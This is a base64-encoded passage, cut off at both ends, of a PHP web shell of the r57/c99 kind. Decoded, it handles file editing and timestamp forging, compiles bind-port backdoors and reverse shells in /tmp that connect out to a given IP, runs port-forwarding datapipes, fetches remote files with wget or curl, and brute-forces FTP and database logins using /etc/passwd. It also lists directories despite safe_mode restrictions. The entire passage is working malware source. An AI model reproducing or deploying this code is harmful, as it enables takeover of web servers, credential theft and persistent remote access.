X1BPU1RbJ21rX25hbWUnXSkpIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAg Y2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDgwMDA+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PGRp diBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFu Z3VhZ2UuJ190ZXh0NjMnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0K JF9QT1NUWydjbWQnXT0iIjsNCn0NCmJyZWFrOw0KY2FzZSAnZGlyJzoNCmlmKCRfUE9TVFsnYWN0 aW9uJ10gPT0gImNyZWF0ZSIpew0KaWYoQG1rZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkNCnsNCiRf UE9TVFsnY21kJ109IiI7DQplY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNl bGxzcGFjaW5nPTAgYmdjb2xvcj0jMDA4MDAwPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxkaXYg YWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1 YWdlLidfdGV4dDYyJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCn0N CmVsc2Uge2VycigyLCRfUE9TVFsnbWtfbmFtZSddKTskX1BPU1RbJ2NtZCddPSIiO30NCn0NCmVs c2UgaWYoJF9QT1NUWydhY3Rpb24nXSA9PSAiZGVsZXRlIil7DQppZihAcm1kaXIoJF9QT1NUWydt a19uYW1lJ10pKSBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFj aW5nPTAgYmdjb2xvcj0jMDA4MDAwPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxkaXYgYWxpZ249 Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidf dGV4dDY0J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiRfUE9TVFsn Y21kJ109IiI7DQp9DQpicmVhazsNCn0NCn0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiRf UE9TVFsnY21kJ109PSJ0b3VjaCIpDQp7DQppZighJF9QT1NUWydmaWxlX25hbWVfciddKQ0Kew0K JGRhdGFyID0gJF9QT1NUWydkYXknXS4iICIuJF9QT1NUWydtb250aCddLiIgIi4kX1BPU1RbJ3ll YXInXS4iICIuJF9QT1NUWydjaGFzaSddLiIgaG91cnMgIi4kX1BPU1RbJ21pbnV0ZXMnXS4iIG1p bnV0ZXMgIi4kX1BPU1RbJ3NlY29uZCddLiIgc2Vjb25kcyI7DQokZGF0YXIgPSBAc3RydG90aW1l KCRkYXRhcik7DQpAdG91Y2goJF9QT1NUWydmaWxlX25hbWUnXSwkZGF0YXIsJGRhdGFyKTt9DQpl bHNlew0KQHRvdWNoKCRfUE9TVFsnZmlsZV9uYW1lJ10sQGZpbGVtdGltZSgkX1BPU1RbJ2ZpbGVf bmFtZV9yJ10pLEBmaWxlbXRpbWUoJF9QT1NUWydmaWxlX25hbWVfciddKSk7DQp9DQokX1BPU1Rb J2NtZCddPSIiOw0KfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmJF9QT1NUWydjbWQnXT09 ImVkaXRfZmlsZSImJiFlbXB0eSgkX1BPU1RbJ2VfbmFtZSddKSkNCnsNCmlmKCEkZmlsZT1AZm9w ZW4oJF9QT1NUWydlX25hbWUnXSwicisiKSkgeyRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmls ZXNpemUoJF9QT1NUWydlX25hbWUnXSkpO0BmY2xvc2UoJGZpbGUpOyRvbmx5X3JlYWQgPSAxO30N CmlmKCRmaWxlPUBmb3BlbigkX1BPU1RbJ2VfbmFtZSddLCJyIikpIHskZmlsZWR1bXAgPSBAZnJl YWQoJGZpbGUsQGZpbGVzaXplKCRfUE9TVFsnZV9uYW1lJ10pKTtAZmNsb3NlKCRmaWxlKTt9DQpl bHNlIGlmICgkZmlsZT1yZWFkemxpYigkX1BPU1RbJ2VfbmFtZSddKSkgeyRmaWxlZHVtcCA9ICRm aWxlOyRvbmx5X3JlYWQgPSAxO31lbHNlIHtlcnIoMSwkX1BPU1RbJ2VfbmFtZSddKTskX1BPU1Rb J2NtZCddPSIiO30NCmlmKGlzc2V0KCRfUE9TVFsnY21kJ10pKSANCnsNCmVjaG8gJHRhYmxlX3Vw MzsNCmVjaG8gJGZvbnQ7DQplY2hvICI8Zm9ybSBuYW1lPXNhdmVfZmlsZSBtZXRob2Q9cG9zdD4i Ow0KZWNobyB3cygzKS4iPGI+Ii4kX1BPU1RbJ2VfbmFtZSddLiI8L2I+IjsNCmVjaG8gIjxkaXYg YWxpZ249Y2VudGVyPjx0ZXh0YXJlYSBuYW1lPWVfdGV4dCBjb2xzPTEyMSByb3dzPTI0PiI7DQpl Y2hvIEBodG1sc3BlY2lhbGNoYXJzKCRmaWxlZHVtcCk7DQplY2hvICI8L3RleHRhcmVhPiI7DQpl Y2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1lX25hbWUgdmFsdWU9Ii4kX1BPU1RbJ2VfbmFt ZSddLiI+IjsNCmVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRpciB2YWx1ZT0iLiRkaXIu Ij4iOw0KZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y21kIHZhbHVlPXNhdmVfZmlsZT4i Ow0KZWNobyAoIWVtcHR5KCRvbmx5X3JlYWQpPygiPGJyPjxicj4iLiRsYW5nWyRsYW5ndWFnZS4n X3RleHQ0NCddKTooIjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVl PVwiICIuJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10uIiBcIj4iKSk7DQplY2hvICI8L2Rpdj4i Ow0KZWNobyAiPC9mb250PiI7DQplY2hvICI8L2Zvcm0+IjsNCmVjaG8gIjwvdGQ+PC90cj48L3Rh YmxlPiI7DQpleGl0KCk7DQp9DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYkX1BPU1Rb J2NtZCddPT0ic2F2ZV9maWxlIikNCnsNCiRtdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydlX25h bWUnXSk7DQppZigoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2VfbmFtZSddLCJ3IikpICYmKCFmdW5j dGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJykpKSB7ZXJyKDAsJF9QT1NUWydlX25hbWUn XSk7fQ0KZWxzZSB7DQppZigkdW5peCkgJF9QT1NUWydlX3RleHQnXT1Ac3RyX3JlcGxhY2UoIlxy XG4iLCJcbiIsJF9QT1NUWydlX3RleHQnXSk7DQpAZndyaXRlKCRmaWxlLCRfUE9TVFsnZV90ZXh0 J10pIG9yIEBmcHV0cygkZmlsZSwkX1BPU1RbJ2VfdGV4dCddKSBvciBAZmlsZV9wdXRfY29udGVu dHMoJF9QT1NUWydlX25hbWUnXSwkX1BPU1RbJ2VfdGV4dCddKTsNCkB0b3VjaCgkX1BPU1RbJ2Vf bmFtZSddLCRtdGltZSwkbXRpbWUpOw0KJF9QT1NUWydjbWQnXT0iIjsNCmVjaG8gIjx0YWJsZSB3 aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDgwMDA+PHRy Pjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5h IHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDUnXS4iPC9iPjwvZm9udD48L2Rp dj48L3RkPjwvdHI+PC90YWJsZT4iOw0KfQ0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ3Byb3h5X3Bv cnQnXSkmJigkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQ0Kew0KY2YoIi90bXAvcHJ4cGwiLCRwcnhf cGwpOw0KJHAyPXdoaWNoKCJwZXJsIik7DQokYmxhaCA9IGV4KCRwMi4iIC90bXAvcHJ4cGwgIi4k X1BPU1RbJ3Byb3h5X3BvcnQnXS4iICYiKTsNCiRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVw IHByeHBsIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pJiYhZW1wdHkoJF9QT1NUWydi aW5kX3Bhc3MnXSkmJigkX1BPU1RbJ3VzZSddPT0iQyIpKQ0Kew0KY2YoIi90bXAvYmQuYyIsJHBv cnRfYmluZF9iZF9jKTsNCiRibGFoID0gZXgoImdjYyAtbyAvdG1wL2JkIC90bXAvYmQuYyIpOw0K QHVubGluaygiL3RtcC9iZC5jIik7DQokYmxhaCA9IGV4KCIvdG1wL2JkICIuJF9QT1NUWydwb3J0 J10uIiAiLiRfUE9TVFsnYmluZF9wYXNzJ10uIiAmIik7DQokX1BPU1RbJ2NtZCddPSJwcyAtYXV4 IHwgZ3JlcCBiZCI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsncG9ydCddKSYmIWVtcHR5KCRfUE9T VFsnYmluZF9wYXNzJ10pJiYoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkNCnsNCmNmKCIvdG1wL2Jk cGwiLCRwb3J0X2JpbmRfYmRfcGwpOw0KJHAyPXdoaWNoKCJwZXJsIik7DQokYmxhaCA9IGV4KCRw Mi4iIC90bXAvYmRwbCAiLiRfUE9TVFsncG9ydCddLiIgJiIpOw0KJF9QT1NUWydjbWQnXT0icHMg LWF1eCB8IGdyZXAgYmRwbCI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYhZW1wdHko JF9QT1NUWydwb3J0J10pICYmKCRfUE9TVFsndXNlJ109PSJQZXJsIikpDQp7DQpjZigiL3RtcC9i YWNrIiwkYmFja19jb25uZWN0KTsNCiRwMj13aGljaCgicGVybCIpOw0KJGJsYWggPSBleCgkcDIu IiAvdG1wL2JhY2sgIi4kX1BPU1RbJ2lwJ10uIiAiLiRfUE9TVFsncG9ydCddLiIgJiIpOw0KJF9Q T1NUWydjbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4kX1BPU1RbJ2lw J10uIiBwb3J0ICIuJF9QT1NUWydwb3J0J10uIiAuLi5cIiI7DQp9DQppZiAoIWVtcHR5KCRfUE9T VFsnaXAnXSkgJiYhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmKCRfUE9TVFsndXNlJ109PSJDIikp DQp7DQpjZigiL3RtcC9iYWNrLmMiLCRiYWNrX2Nvbm5lY3RfYyk7DQokYmxhaCA9IGV4KCJnY2Mg LW8gL3RtcC9iYWNrYyAvdG1wL2JhY2suYyIpOw0KQHVubGluaygiL3RtcC9iYWNrLmMiKTsNCiRi bGFoID0gZXgoIi90bXAvYmFja2MgIi4kX1BPU1RbJ2lwJ10uIiAiLiRfUE9TVFsncG9ydCddLiIg JiIpOw0KJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4k X1BPU1RbJ2lwJ10uIiBwb3J0ICIuJF9QT1NUWydwb3J0J10uIiAuLi5cIiI7DQp9DQppZiAoIWVt cHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiFlbXB0eSgkX1BPU1RbJ3JlbW90ZV9ob3N0J10p ICYmIWVtcHR5KCRfUE9TVFsncmVtb3RlX3BvcnQnXSkgJiYoJF9QT1NUWyd1c2UnXT09IlBlcmwi KSkNCnsNCmNmKCIvdG1wL2RwIiwkZGF0YXBpcGVfcGwpOw0KJHAyPXdoaWNoKCJwZXJsIik7DQok YmxhaCA9IGV4KCRwMi4iIC90bXAvZHAgIi4kX1BPU1RbJ2xvY2FsX3BvcnQnXS4iICIuJF9QT1NU WydyZW1vdGVfaG9zdCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9wb3J0J10uIiAmIik7DQokX1BPU1Rb J2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBkcCI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWxf cG9ydCddKSAmJiFlbXB0eSgkX1BPU1RbJ3JlbW90ZV9ob3N0J10pICYmIWVtcHR5KCRfUE9TVFsn cmVtb3RlX3BvcnQnXSkgJiYoJF9QT1NUWyd1c2UnXT09IkMiKSkNCnsNCmNmKCIvdG1wL2RwYy5j IiwkZGF0YXBpcGVfYyk7DQokYmxhaCA9IGV4KCJnY2MgLW8gL3RtcC9kcGMgL3RtcC9kcGMuYyIp Ow0KQHVubGluaygiL3RtcC9kcGMuYyIpOw0KJGJsYWggPSBleCgiL3RtcC9kcGMgIi4kX1BPU1Rb J2xvY2FsX3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90 ZV9ob3N0J10uIiAmIik7DQokX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBkcGMiOw0KfQ0K aWYgKCFlbXB0eSgkX1BPU1RbJ2FsaWFzJ10pICYmaXNzZXQoJGFsaWFzZXNbJF9QT1NUWydhbGlh cyddXSkpIHskX1BPU1RbJ2NtZCddID0gJGFsaWFzZXNbJF9QT1NUWydhbGlhcyddXTt9DQpmb3Io JHVwbD0wOyR1cGw8PTE2OyR1cGwrKykNCnsNCmlmKCFlbXB0eSgkSFRUUF9QT1NUX0ZJTEVTWyd1 c2VyZmlsZScuJHVwbF1bJ25hbWUnXSkpew0KaWYoIWVtcHR5KCRfUE9TVFsnbmV3X25hbWUnXSkg JiYoJHVwbD09MCkpIHskbmZuID0gJF9QT1NUWyduZXdfbmFtZSddO30NCmVsc2UgeyRuZm4gPSAk SFRUUF9QT1NUX0ZJTEVTWyd1c2VyZmlsZScuJHVwbF1bJ25hbWUnXTt9DQpAbW92ZV91cGxvYWRl ZF9maWxlKCRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJy4kdXBsXVsndG1wX25hbWUnXSwkX1BP U1RbJ2RpciddLiIvIi4kbmZuKQ0Kb3IgcHJpbnQoIjxmb250IGNvbG9yPXJlZCBmYWNlPUZpeGVk c3lzPjxkaXYgYWxpZ249Y2VudGVyPkVycm9yIHVwbG9hZGluZyBmaWxlICIuJEhUVFBfUE9TVF9G SUxFU1sndXNlcmZpbGUnLiR1cGxdWyduYW1lJ10uIjwvZGl2PjwvZm9udD4iKTsNCn0NCn0NCmlm ICghZW1wdHkoJF9QT1NUWyd3aXRoJ10pICYmIWVtcHR5KCRfUE9TVFsncmVtX2ZpbGUnXSkgJiYh ZW1wdHkoJF9QT1NUWydsb2NfZmlsZSddKSkNCnsNCnN3aXRjaCgkX1BPU1RbJ3dpdGgnXSkNCnsN CmNhc2UgJ2ZvcGVuJzoNCiRkYXRhZmlsZSA9IEBpbXBsb2RlKCIiLEBmaWxlKCRfUE9TVFsncmVt X2ZpbGUnXSkpOw0KaWYoJGRhdGFmaWxlKQ0Kew0KJHdfZmlsZT1AZm9wZW4oJF9QT1NUWydsb2Nf ZmlsZSddLCJ3YiIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJykgb3Ig ZXJyKDApOw0KaWYoJHdfZmlsZSkNCnsNCkBmd3JpdGUoJHdfZmlsZSwkZGF0YWZpbGUpIG9yIEBm cHV0cygkd19maWxlLCRkYXRhZmlsZSkgb3IgQGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsnbG9j X2ZpbGUnXSwkZGF0YWZpbGUpOw0KQGZjbG9zZSgkd19maWxlKTsNCn0NCn0NCiRfUE9TVFsnY21k J10gPSAnJzsNCmJyZWFrOw0KY2FzZSAnd2dldCc6DQokX1BPU1RbJ2NtZCddID0gd2hpY2goJ3dn ZXQnKS4iICIuJF9QT1NUWydyZW1fZmlsZSddLiIgLU8gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7 DQpicmVhazsNCmNhc2UgJ2ZldGNoJzoNCiRfUE9TVFsnY21kJ10gPSB3aGljaCgnZmV0Y2gnKS4i IC1vICIuJF9QT1NUWydsb2NfZmlsZSddLiIgLXAgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiI7DQpi cmVhazsNCmNhc2UgJ2x5bngnOg0KJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdseW54JykuIiAtc291 cmNlICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCmJy ZWFrOw0KY2FzZSAnbGlua3MnOg0KJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdsaW5rcycpLiIgLXNv dXJjZSAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iID4gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQpi cmVhazsNCmNhc2UgJ0dFVCc6DQokX1BPU1RbJ2NtZCddID0gd2hpY2goJ0dFVCcpLiIgIi4kX1BP U1RbJ3JlbV9maWxlJ10uIiA+ICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KYnJlYWs7DQpjYXNl ICdjdXJsJzoNCiRfUE9TVFsnY21kJ10gPSB3aGljaCgnY3VybCcpLiIgIi4kX1BPU1RbJ3JlbV9m aWxlJ10uIiAtbyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCmJyZWFrOw0KfQ0KfQ0KaWYoIWVt cHR5KCRfUE9TVFsnY21kJ10pICYmKCgkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfdXAiKSB8fCgk X1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfZG93biIpKSkNCnsNCmxpc3QoJGZ0cF9zZXJ2ZXIsJGZ0 cF9wb3J0KSA9IHNwbGl0KCI6IiwkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTsNCmlmKGVtcHR5 KCRmdHBfcG9ydCkpIHskZnRwX3BvcnQgPSAyMTt9DQokY29ubmVjdGlvbiA9IEBmdHBfY29ubmVj dCAoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCmlmKCEkY29ubmVjdGlvbikge2VycigzKTt9 DQplbHNlIA0Kew0KaWYoIUBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJF9QT1NUWydmdHBfbG9naW4n XSwkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKSkge2Vycig0KTt9DQplbHNlIA0Kew0KaWYoJF9QT1NU WydjbWQnXT09ImZ0cF9maWxlX2Rvd24iKSB7aWYoY2hvcCgkX1BPU1RbJ2xvY19maWxlJ10pPT0k ZGlyKSB7JF9QT1NUWydsb2NfZmlsZSddPSRkaXIuKCghJHVuaXgpPygnXFwnKTooJy8nKSkuYmFz ZW5hbWUoJF9QT1NUWydmdHBfZmlsZSddKTt9QGZ0cF9nZXQoJGNvbm5lY3Rpb24sJF9QT1NUWyds b2NfZmlsZSddLCRfUE9TVFsnZnRwX2ZpbGUnXSwkX1BPU1RbJ21vZGUnXSk7fQ0KaWYoJF9QT1NU WydjbWQnXT09ImZ0cF9maWxlX3VwIikgICB7QGZ0cF9wdXQoJGNvbm5lY3Rpb24sJF9QT1NUWydm dHBfZmlsZSddLCRfUE9TVFsnbG9jX2ZpbGUnXSwkX1BPU1RbJ21vZGUnXSk7fQ0KfQ0KfQ0KQGZ0 cF9jbG9zZSgkY29ubmVjdGlvbik7DQokX1BPU1RbJ2NtZCddID0gIiI7DQp9DQppZighZW1wdHko JF9QT1NUWydjbWQnXSkgJiYoKCRfUE9TVFsnY21kJ109PSJmdHBfYnJ1dGUiKSB8fCgkX1BPU1Rb J2NtZCddPT0iZGJfYnJ1dGUiKSkpDQp7DQppZigkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIil7 DQpsaXN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCkgPSBzcGxpdCgiOiIsJF9QT1NUWydmdHBfc2Vy dmVyX3BvcnQnXSk7DQppZihlbXB0eSgkZnRwX3BvcnQpKSB7JGZ0cF9wb3J0ID0gMjE7fQ0KJGNv bm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QgKCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7DQp9ZWxz ZSBpZigkX1BPU1RbJ2NtZCddPT0iZGJfYnJ1dGUiKXsNCiRjb25uZWN0aW9uID0gMTsNCn0NCmlm KCEkY29ubmVjdGlvbikge2VycigzKTskX1BPU1RbJ2NtZCddID0gIiI7fQ0KZWxzZSBpZigoJF9Q T1NUWydicnV0ZV9tZXRob2QnXT09J3Bhc3N3ZCcpICYmKCEkdXNlcnM9Z2V0X3VzZXJzKCcvZXRj L3Bhc3N3ZCcpKSl7ZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3Bh Y2luZz0wIGJnY29sb3I9IzAwODAwMD48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48Zm9udCBjb2xv cj1yZWQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Ii4kbGFuZ1sk bGFuZ3VhZ2UuJ190ZXh0OTYnXS4iPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4i OyRfUE9TVFsnY21kJ10gPSAiIjt9DQplbHNlIGlmKCgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0n ZGljJykgJiYoISR1c2Vycz1nZXRfdXNlcnMoJF9QT1NUWydkaWN0aW9uYXJ5J10pKSl7ZWNobyAi PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAw ODAwMD48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48Zm9udCBjb2xvcj1yZWQgZmFjZT1WZXJkYW5h IHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Q2FuXCd0IGdldCBwYXNzd29yZCBsaXN0PC9i PjwvZGl2PjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iOyRfUE9TVFsnY21kJ10gPSAiIjt9DQpp ZigkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIil7QGZ0cF9jbG9zZSgkY29ubmVjdGlvbik7fQ0K fQ0KZWNobyAkdGFibGVfdXAzOw0KaWYgKGVtcHR5KCRfUE9TVFsnY21kJ10pICYmISRzYWZlX21v ZGUgJiYhJG9wZW5fYmFzZWRpcikgeyRfUE9TVFsnY21kJ109KCEkdW5peCk/KCJkaXIiKTooImxz IC1saWEiKTt9DQplbHNlIGlmKGVtcHR5KCRfUE9TVFsnY21kJ10pICYmKCRzYWZlX21vZGUgfHwk b3Blbl9iYXNlZGlyKSl7JF9QT1NUWydjbWQnXT0ic2FmZV9kaXIiO30NCmVjaG8gJGZvbnQuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDEnXS4iOiA8Yj4iLiRfUE9TVFsnY21kJ10uIjwvYj48L2ZvbnQ+ PC90ZD48L3RyPjx0cj48dGQ+PGI+PGRpdiBhbGlnbj1jZW50ZXI+PHRleHRhcmVhIG5hbWU9cmVw b3J0IGNvbHM9MTIxIHJvd3M9MTU+IjsNCmlmKCRzYWZlX21vZGUgfHwkb3Blbl9iYXNlZGlyKQ0K ew0Kc3dpdGNoKCRfUE9TVFsnY21kJ10pDQp7DQpjYXNlICdzYWZlX2Rpcic6DQokZD1AZGlyKCRk aXIpOw0KaWYgKCRkKQ0Kew0Kd2hpbGUgKGZhbHNlIT09KCRmaWxlPSRkLT5yZWFkKCkpKQ0Kew0K aWYgKCRmaWxlPT0iLiJ8fCRmaWxlPT0iLi4iKSBjb250aW51ZTsNCkBjbGVhcnN0YXRjYWNoZSgp Ow0KQGxpc3QgKCRkZXYsJGlub2RlLCRpbm9kZXAsJG5saW5rLCR1aWQsJGdpZCwkaW5vZGV2LCRz aXplLCRhdGltZSwkbXRpbWUsJGN0aW1lLCRic2l6ZSkgPSBzdGF0KCRmaWxlKTsNCmlmKCEkdW5p eCl7DQplY2hvIGRhdGUoImQubS5ZIEg6aSIsJG10aW1lKTsNCmlmKEBpc19kaXIoJGZpbGUpKSBl Y2hvICIgIDxESVI+ICI7ZWxzZSBwcmludGYoIiUgN3MgIiwkc2l6ZSk7DQp9DQplbHNlew0KaWYo QGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSl7DQokb3duZXIgPSBAcG9zaXhfZ2V0 cHd1aWQoJHVpZCk7DQokZ3JnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoJGdpZCk7DQp9ZWxzZXskb3du ZXJbJ25hbWUnXT0kZ3JnaWRbJ25hbWUnXT0nJzt9DQplY2hvICRpbm9kZS4iICI7DQplY2hvIHBl cm1zKEBmaWxlcGVybXMoJGZpbGUpKTsNCkBwcmludGYoIiUgNGQgJSA5cyAlIDlzICU3cyAiLCRu bGluaywkb3duZXJbJ25hbWUnXSwkZ3JnaWRbJ25hbWUnXSwkc2l6ZSk7DQplY2hvIGRhdGUoImQu bS5ZIEg6aSAiLCRtdGltZSk7DQp9DQplY2hvICIkZmlsZVxuIjsNCn0NCiRkLT5jbG9zZSgpOw0K fQ0KZWxzZSBpZihAZnVuY3Rpb25fZXhpc3RzKCdnbG9iJykpDQp7DQpmdW5jdGlvbiBlaCgkZXJy bm8sJGVycnN0ciwkZXJyZmlsZSwkZXJybGluZSkNCnsNCmdsb2JhbCAkRCwkYywkaTsNCnByZWdf bWF0Y2goIi9TQUZFXCBNT0RFXCBSZXN0cmljdGlvblwgaW5cIGVmZmVjdFwuLip3aG9zZVwgdWlk XCBpcyguKilpc1wgbm90XCBhbGxvd2VkXCB0b1wgYWNjZXNzKC4qKW93bmVkIGJ5IHVpZCguKikv IiwkZXJyc3RyLCRvKTsNCmlmKCRvKXskRFskY10gPSAkb1syXTskYysrO30NCn0NCiRlcnJvcl9y ZXBvcnRpbmcgPSBAaW5pX2dldCgnZXJyb3JfcmVwb3J0aW5nJyk7DQplcnJvcl9yZXBvcnRpbmco RV9XQVJOSU5HKTsNCkBpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsMSk7DQokcm9vdCA9ICIvIjsN CmlmKCRkaXIpICRyb290ID0gJGRpcjsNCiRjID0gMDskRCA9IGFycmF5KCk7DQpAc2V0X2Vycm9y X2hhbmRsZXIoImVoIik7DQokY2hhcnMgPSAiXy0uMDEyMzQ1Njc4OTBhYmNkZWZnaGlqa2xubW9w cXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaIjsNCmZvcigkaT0wOyRpIDxzdHJs ZW4oJGNoYXJzKTskaSsrKQ0Kew0KJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkh PSIvIikgPyIvIjogTlVMTCkuInskY2hhcnNbJGldfSI7DQokcHJldkQgPSAkRFtjb3VudCgkRCkt MV07DQpAZ2xvYigkcGF0aC4iKiIpOw0KaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RCkNCnsN CmZvcigkaj0wOyRqIDxzdHJsZW4oJGNoYXJzKTskaisrKQ0Kew0KJHBhdGggPSJ7JHJvb3R9Ii4o KHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyIvIjogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNb JGpdfSI7DQokcHJldkQyID0gJERbY291bnQoJEQpLTFdOw0KQGdsb2IoJHBhdGguIioiKTsNCmlm KCREW2NvdW50KCREKS0xXSAhPSAkcHJldkQyKQ0Kew0KZm9yKCRwPTA7JHAgPHN0cmxlbigkY2hh cnMpOyRwKyspDQp7DQokcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ Ii8iOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19eyRjaGFyc1skcF19IjsNCiRwcmV2 RDMgPSAkRFtjb3VudCgkRCktMV07DQpAZ2xvYigkcGF0aC4iKiIpOw0KaWYoJERbY291bnQoJEQp LTFdICE9ICRwcmV2RDMpDQp7DQpmb3IoJHI9MDskciA8c3RybGVuKCRjaGFycyk7JHIrKykNCnsN CiRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8iLyI6IE5VTEwpLiJ7 JGNoYXJzWyRpXX17JGNoYXJzWyRqXX17JGNoYXJzWyRwXX17JGNoYXJzWyRyXX0iOw0KQGdsb2Io JHBhdGguIioiKTsNCn0NCn0NCn0NCn0NCn0NCn0NCn0NCiREID0gYXJyYXlfdW5pcXVlKCREKTsN CmZvcmVhY2goJEQgYXMgJGl0ZW0pIGVjaG8gaHRtbHNwZWNpYWxjaGFycygieyRpdGVtfSIpLiJc clxuIjsNCmVycm9yX3JlcG9ydGluZygkZXJyb3JfcmVwb3J0aW5nKTsNCn0NCmVsc2UgZWNobyAk bGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjknXTsNCmJyZWFrOw0KY2FzZSAndGVzdDEnOg0KJGNpID0g 